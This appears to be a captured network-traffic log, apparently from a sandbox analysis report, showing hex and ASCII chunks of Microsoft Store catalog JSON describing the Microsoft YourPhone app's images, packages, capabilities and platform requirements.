MS-CorrelationId: cf1dd12f-c733-405b-939b-c0fce3b9eea0
MS-RequestId: 4dacd7df-39eb-4efa-8115-356c27f1da5d
MS-CV: G4vVtjIdL0a31TDZ.0.2.4.888070370.0.1.888070370.4128774387.0
X-Content-Type-Options: nosniff
MS-ServerId: 57cf5d-l529h
Region: neu
Node: aks-bigcatrpns-32351330-vmss00001g
MS-DocumentVersions: 9NMPJ99VJBWV|3234

2022-05-13 14:43:00 UTC 10729 IN Data Raw: 31 35 33 32 63 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 5d 2c 22 
48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 34 2d 32 32 54 30 32 3a 32 39 3a 32 30 2e 35 33 31 39 34 34 
39 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 2
2 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 33 39 39 38 32 36 30 36 34 37 37 
30 39 34 33 34 32 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 30 37 38 44 37 22 
Data Ascii: 1532c{"BigIds":["9NMPJ99VJBWV"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-04-22T0
2:29:20.5319449Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3039982606477094342","EISListingIdentifie
r":null,"BackgroundColor":"#0078D7"

2022-05-13 14:43:00 UTC 10732 IN Data Raw: 65 35 34 39 2d 34 34 61 36 2d 38 30 37 33 2d 34 31 64 63 64 38 33 65 64 64 62 65 2e 63 30 65 36 64 32 65 
38 2d 32 64 34 30 2d 34 61 37 38 2d 39 31 62 38 2d 35 30 30 35 35 35 38 36 66 34 35 33 22 2c 22 57 69 64 74 68 22 3a 
36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 33 39 32 36 30 35 33 35 35 31 39 31 38 34 38 30 22 2c 22 45 49 
53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 
72 22 3a 22 23 30 30 37 38 44 37 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 
74 65 73 22 3a 33 35 36 32 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 
38 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 
Data Ascii: e549-44a6-8073-41dcd83eddbe.c0e6d2e8-2d40-4a78-91b8-50055586f453","Width":66},{"FileId":"306392605
3551918480","EISListingIdentifier":null,"BackgroundColor":"#0078D7","Caption":"","FileSizeInBytes":3562,"Foreg
roundColor":"","Height":88,"ImagePositionInfo":

2022-05-13 14:43:00 UTC 10736 IN Data Raw: 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 38 38 39 35 2c 22 
46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 
6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 
6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 6e 37 68 41 59 52 4b 4b 51 34 5a 31 56 4f 
35 45 74 73 2f 35 2f 55 2f 2b 67 34 62 32 7a 4f 44 5a 65 33 55 4e 66 2b 69 47 59 36 45 3d 22 2c 22 55 72 69 22 3a 22 2f 
2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 
2e 34 37 32 36 33 2e 31 33 37 35 33 38 39 31 35 31 39 33 39 
Data Ascii: Caption":"","FileSizeInBytes":8895,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"
Tile","UnscaledImageSHA256Hash":"n7hAYRKKQ4Z1VO5Ets/5/U/+g4b2zODZe3UNf+iGY6E=","Uri":"//store-images.s-
microsoft.com/image/apps.47263.1375389151939

2022-05-13 14:43:00 UTC 10740 IN Data Raw: 67 68 74 22 3a 32 31 36 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 
6f 70 2f 36 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 
6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 42 5a 6b 4f 6a 6c 77 2b 4b 49 54 52 36 42 6f 45 42 42 
79 6f 63 30 73 63 46 49 56 47 63 36 6e 4f 36 74 44 54 39 73 72 71 6e 4b 59 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 
72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 2e 33 39 31 
37 33 2e 31 33 37 35 33 38 39 31 35 31 39 33 39 37 30 36 37 2e 65 38 61 30 36 64 37 64 2d 66 66 62 32 2d 34 35 34 32 
2d 39 65 66 61 2d 34 36 30 30 36 63 62 39 37 30 36 39 2e 66 30 
Data Ascii: ght":2160,"ImagePositionInfo":"Desktop/6","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"B
ZkOjlw+KITR6BoEBByoc0scFIVGc6nO6tDT9srqnKY=","Uri":"//store-images.s-microsoft.com/image/apps.39173.
13753891519397067.e8a06d7d-ffb2-4542-9efa-46006cb97069.f0

2022-05-13 14:43:00 UTC 10744 IN Data Raw: 73 4d 69 63 72 6f 73 6f 66 74 50 72 6f 64 75 63 74 22 3a 74 72 75 65 2c 22 50 72 65 66 65 72 72 65 64 53 6b 
75 49 64 22 3a 22 30 30 31 30 22 2c 22 50 72 6f 64 75 63 74 54 79 70 65 22 3a 22 41 70 70 6c 69 63 61 74 69 6f 6e 22 
2c 22 56 61 6c 69 64 61 74 69 6f 6e 44 61 74 61 22 3a 7b 22 50 61 73 73 65 64 56 61 6c 69 64 61 74 69 6f 6e 22 3a 66 
61 6c 73 65 2c 22 52 65 76 69 73 69 6f 6e 49 64 22 3a 22 32 30 32 32 2d 30 34 2d 32 32 54 30 32 3a 33 30 3a 35 31 2e 3
6 39 38 30 30 36 38 5a 7c 7c 2e 7c 7c 65 30 64 35 33 63 34 65 2d 38 66 36 33 2d 34 36 32 34 2d 61 65 31 33 2d 63 31 
34 38 62 61 33 31 64 38 35 66 7c 7c 31 31 35 32 39 32 31 35 30 35 36 39 34 37 35 34 31 36 34 7c 7c 4e 75 6c 6c 7c 7c 
66 75 6c 6c 72 65 6c 65 61 73 65 22 2c 22 56 61 6c 69 64 61 74 69 6f 6e 
Data Ascii: sMicrosoftProduct":true,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidat
ion":false,"RevisionId":"2022-04-22T02:30:51.6980068Z||.||e0d53c4e-8f63-4624-ae13-c148ba31d85f||11529215056947
54164||Null||fullrelease","Validation

2022-05-13 14:43:00 UTC 10748 IN Data Raw: 37 38 35 39 32 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 
22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 
6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 
36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 
65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 
37 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 
50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 37 30 
Data Ascii: 78592,"MinVersion":2814750890000384,"PlatformName":"Windows.Xbox"}],"PlatformDependencyXmlBlob":"{
\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.YourPhone_1.20012.135.70_x86__8weky
b3d8bbwe\",\"Microsoft.YourPhone_1.20012.135.70

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:43:00 UTC 10752 IN Data Raw: 22 45 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 
4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 
50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 
75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 30 2e 34 31 36 2e 32 
30 32 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 
64 22 3a 22 36 65 61 63 66 63 39 63 2d 30 65 35 62 2d 65 33 30 34 2d 64 66 34 62 2d 35 30 65 61 30 36 66 30 62 65 66 
34 2d 58 38 36 2d 58 36 34 2d 41 72 6d 2d 41 72 6d 36 34 22 2c 22 
Data Ascii: "EAppxBundle","PackageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","MainPackageFamily
NameForDlc":null,"PackageFullName":"Microsoft.YourPhone_2020.416.202.70_neutral_~_8wekyb3d8bbwe","Pa
ckageId":"6eacfc9c-0e5b-e304-df4b-50ea06f0bef4-X86-X64-Arm-Arm64","

2022-05-13 14:43:00 UTC 10756 IN Data Raw: 69 76 61 74 65 4e 65 74 77 6f 72 6b 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 72 65 6d 6f 74 65 53 79 73 
74 65 6d 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 22 2c 22 63 6f 6e 66 69 72 6d 41 70 70 43 6c 6f 73 65 22 2c 22 70 68 6f 6e 
65 4c 69 6e 65 54 72 61 6e 73 70 6f 72 74 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 53 79 73 
74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 74 22 2c 22 72 75 6e 46 75 6c 6c 54 72 75 73 74 22 2c 22 
70 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 75 6e 73 69 67 6e 65 64 50 6
1 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 69 63 72 6f 73 6f 
66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 
Data Ascii: ivateNetworkClientServer","remoteSystem","phoneCall","confirmAppClose","phoneLineTransportManageme
nt","phoneCallSystem","targetedContent","runFullTrust","packageManagement","Microsoft.unsignedPackageManagemen
t_8wekyb3d8bbwe","Microsoft.storeFilter.core.no

2022-05-13 14:43:00 UTC 10760 IN Data Raw: 3a 22 65 35 61 63 65 34 38 35 2d 62 63 63 63 2d 34 34 38 30 2d 61 62 38 65 2d 65 39 37 39 66 30 37 37 65 
34 33 39 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 36 38 35 2d 34 37 39 38 
2d 62 34 62 31 2d 33 64 39 34 65 65 36 64 37 31 38 34 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 
3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 
75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 
75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 
74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 
Data Ascii: :"e5ace485-bccc-4480-ab8e-e979f077e439","WuCategoryId":"b99aef9a-1685-4798-b4b1-3d94ee6d
7184","PackageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","SkuId":"0010","Content":null,"PackageFeatures":
null}},{"Applications":[{"ApplicationId":"App"}],"Archite

2022-05-13 14:43:00 UTC 10765 IN Data Raw: 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 
2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 
6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 
6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 
75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 65 35 61 
63 65 34 38 35 2d 62 63 63 63 2d 34 34 38 30 2d 61 62 38 65 2d 65 39 37 39 66 30 37 37 65 34 33 39 22 2c 22 57 75 43 
61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 36 
Data Ascii: \":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","Pack
ageDownloadUris":null,"FulfillmentData":{"ProductId":"9NMPJ99VJBWV","WuBundleId":"e5ace485-bccc-4480-ab8e-e979
f077e439","WuCategoryId":"b99aef9a-16

2022-05-13 14:43:00 UTC 10769 IN Data Raw: 37 61 30 2d 58 38 36 2d 58 38 36 2d 58 36 34 2d 58 36 34 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 
33 30 30 39 32 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 
65 64 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 
35 30 39 37 30 34 37 38 35 39 32 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 
22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 
2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 
75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 
Data Ascii: 7a0-X86-X86-X64-X64","PackageRank":30092,"PlatformDependencies":[{"MaxTested":2814751163088896,"Mi
nVersion":2814750970478592,"PlatformName":"Windows.Xbox"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688
867040526336,\"content.bundledPackages\":[\"Mic

2022-05-13 14:43:00 UTC 10773 IN Data Raw: 31 30 31 33 30 31 31 34 35 36 2c 5c 22 76 6d 69 6e 5c 22 3a 32 38 31 34 37 35 31 30 31 33 30 31 31 34 35 
36 7d 5d 7d 2c 7b 5c 22 70 66 75 6e 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 
32 30 33 32 2e 31 37 39 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 74 64 66 73 5c 22 
3a 5b 7b 5c 22 6e 61 6d 65 5c 22 3a 5c 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 5c 22 2c 5c 22 76 6d 61 
78 5c 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 5c 22 76 6d 69 6e 5c 22 3a 32 38 31 34 37 35 30 39 37 
30 34 37 38 35 39 32 7d 5d 7d 2c 7b 5c 22 70 66 75 6e 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 
6e 65 5f 30 2e 32 32 30 33 32 2e 31 37 39 2e 30 5f 78 38 36 5f 5f 
Data Ascii: 1013011456,\"vmin\":2814751013011456}]},{\"pfun\":\"Microsoft.YourPhone_1.22032.179.0_x86__8wekyb3
d8bbwe\",\"tdfs\":[{\"name\":\"Windows.Universal\",\"vmax\":2814751163088896,\"vmin\":2814750970478592}]},{\"p
fun\":\"Microsoft.YourPhone_0.22032.179.0_x86__

2022-05-13 14:43:00 UTC 10777 IN Data Raw: 70 75 72 63 68 61 73 61 62 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 53 6b 75 41 53 63 68 65 6d 61 22 3a 22 53 
6b 75 3b 33 22 2c 22 53 6b 75 42 53 63 68 65 6d 61 22 3a 22 53 6b 75 55 6e 69 66 69 65 64 41 70 70 3b 33 22 2c 22 53 
6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 53 6b 75 54 79 70 65 22 3a 22 66 75 6c 6c 22 2c 22 52 65 63 75 72 72 65 6e 
63 65 50 6f 6c 69 63 79 22 3a 6e 75 6c 6c 7d 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 69 65 73 22 3a 5b 7b 22 41 63 74 
69 6f 6e 73 22 3a 5b 22 44 65 74 61 69 6c 73 22 2c 22 46 75 6c 66 69 6c 6c 22 2c 22 50 75 72 63 68 61 73 65 22 2c 22 
42 72 6f 77 73 65 22 2c 22 43 75 72 61 74 65 22 2c 22 52 65 64 65 65 6d 22 5d 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 
79 41 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 62 69 6c 69 74 79 3b 33 
Data Ascii: purchasable":false},"SkuASchema":"Sku;3","SkuBSchema":"SkuUnifiedApp;3","SkuId":"0010","SkuType":"
full","RecurrencePolicy":null},"Availabilities":[{"Actions":["Details","Fulfill","Purchase","Browse","Curate","Redeem"],
"AvailabilityASchema":"Availability;3

2022-05-13 14:43:00 UTC 10781 IN Data Raw: 68 6f 6e 65 20 61 6e 64 20 50 43 20 74 6f 20 76 69 65 77 20 61 6e 64 20 72 65 70 6c 79 20 74 6f 20 74 65 78 
74 20 6d 65 73 73 61 67 65 73 2c 20 6d 61 6b 65 20 61 6e 64 20 72 65 63 65 69 76 65 20 63 61 6c 6c 73 2a 2c 20 76 69 
65 77 20 79 6f 75 72 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 73 2c 20 61 6e 64 20 6d 6f 72 65 2e 5c 6e 5c 6e 4d 61 6b 65 
20 65 6d 61 69 6c 69 6e 67 20 79 6f 75 72 73 65 6c 66 20 70 68 6f 74 6f 73 20 61 20 74 68 69 6e 67 20 6f 66 20 74 68 65 
20 70 61 73 74 20 61 73 20 79 6f 75 20 73 68 61 72 65 20 79 6f 75 72 20 66 61 76 6f 72 69 74 65 20 69 6d 61 67 65 73 
20 62 65 74 77 65 65 6e 20 79 6f 75 72 20 70 68 6f 6e 65 20 61 6e 64 20 50 43 2e 20 43 6f 70 79 2c 20 65 64 69 74 2c 2
0 61 6e 64 20 65 76 65 6e 20 64 72 61 67 20 61 6e 64 20 64 72 6f 
Data Ascii: hone and PC to view and reply to text messages, make and receive calls*, view your notifications, and more.\
n\nMake emailing yourself photos a thing of the past as you share your favorite images between your phone and PC. 
Copy, edit, and even drag and dro

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:43:00 UTC 10785 IN Data Raw: 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 5c 22 70 6c 61 74 66 6f 
72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 5c 22 70 6c 61 74 
66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 
6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 
61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 50 72 6f 64 75 63 74 69 76 69 74 79 5c 22 2c 5c 22 6f 70 74 4f 
75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 
62 6c 65 4d 65 64 69 61 5c 22 3a 74 72 75 65 7d 2c 5c 22 70 6f 
Data Ascii: onTested\":2814750970478592,\"platform.minVersion\":2814750890000384,\"platform.target\":5}],\"con
tent.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"Productivity\",\"optOut.backupRestore\":true,\"optOut.r
emoveableMedia\":true},\"po

2022-05-13 14:43:00 UTC 10789 IN Data Raw: 6e 65 5f 31 2e 32 30 30 33 32 2e 31 31 31 2e 37 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 
5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 33 32 2e 31 31 31 2e 37 30 5f 
78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 
3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 
2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 30 2e 34 31 36 2e 32 30 32 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 
6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 64 30 39 
33 32 63 37 33 2d 65 37 33 30 2d 34 36 38 30 2d 62 63 34 
Data Ascii: ne_1.20032.111.70_x86__8wekyb3d8bbwe\",\"Microsoft.YourPhone_1.20032.111.70_x64__8wekyb3
d8bbwe\"],\"content.isMain\":false,\"content.packageId\":\"Microsoft.YourPhone_2020.416.202.70_neutral_~_8weky
b3d8bbwe\",\"content.productId\":\"d0932c73-e730-4680-bc4

2022-05-13 14:43:00 UTC 10793 IN Data Raw: 58 38 36 2d 58 36 34 2d 41 72 6d 36 34 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 30 35 35 2c 
22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 
31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 39 30 30 
30 30 33 38 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 5d 2c 22 50 
6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 
6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 
50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 
Data Ascii: X86-X64-Arm64","PackageRank":30055,"PlatformDependencies":[{"MaxTested":2814751014977536,"MinVersi
on":2814750890000384,"PlatformName":"Windows.Xbox"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040
526336,\"content.bundledPackages\":[\"Microsoft

2022-05-13 14:43:00 UTC 10797 IN Data Raw: 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 36 30 31 32 35 32 37 37 35 2c 22 4d 61 78 49 6e 73 
74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 31 31 32 36 33 32 33 32 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 
61 74 22 3a 22 45 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 
4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 
50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 7
5 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 31 2e 38 30 39 2e 32 3
1 33 39 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 
Data Ascii: wnloadSizeInBytes":601252775,"MaxInstallSizeInBytes":311263232,"PackageFormat":"EAppxBundle","Pack
ageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullNa
me":"Microsoft.YourPhone_2021.809.2139.70_neutral_~_8weky

2022-05-13 14:43:00 UTC 10801 IN Data Raw: 65 43 61 6c 6c 53 79 73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 74 22 2c 22 72 75 6e 46 
75 6c 6c 54 72 75 73 74 22 2c 22 70 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 4d 69 63 72 6f 73 6f 66 
74 2e 75 6e 73 69 67 6e 65 64 50 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 5f 38 77 65 6b 79 62 33 64 38 62 62 
77 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 74 53 75 70 70 6f 
72 74 65 64 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 
2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 32 33 37 35 39 32 32 34 32 2c 22 4d 61 
78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 31 
Data Ascii: eCallSystem","targetedContent","runFullTrust","packageManagement","Microsoft.unsignedPackageManage
ment_8wekyb3d8bbwe","Microsoft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownloadSi
zeInBytes":237592242,"MaxInstallSizeInBytes":31

2022-05-13 14:43:00 UTC 10805 IN Data Raw: 33 32 63 37 33 2d 65 37 33 30 2d 34 36 38 30 2d 62 63 34 34 2d 61 35 39 30 38 66 65 63 62 66 38 62 5c 22 
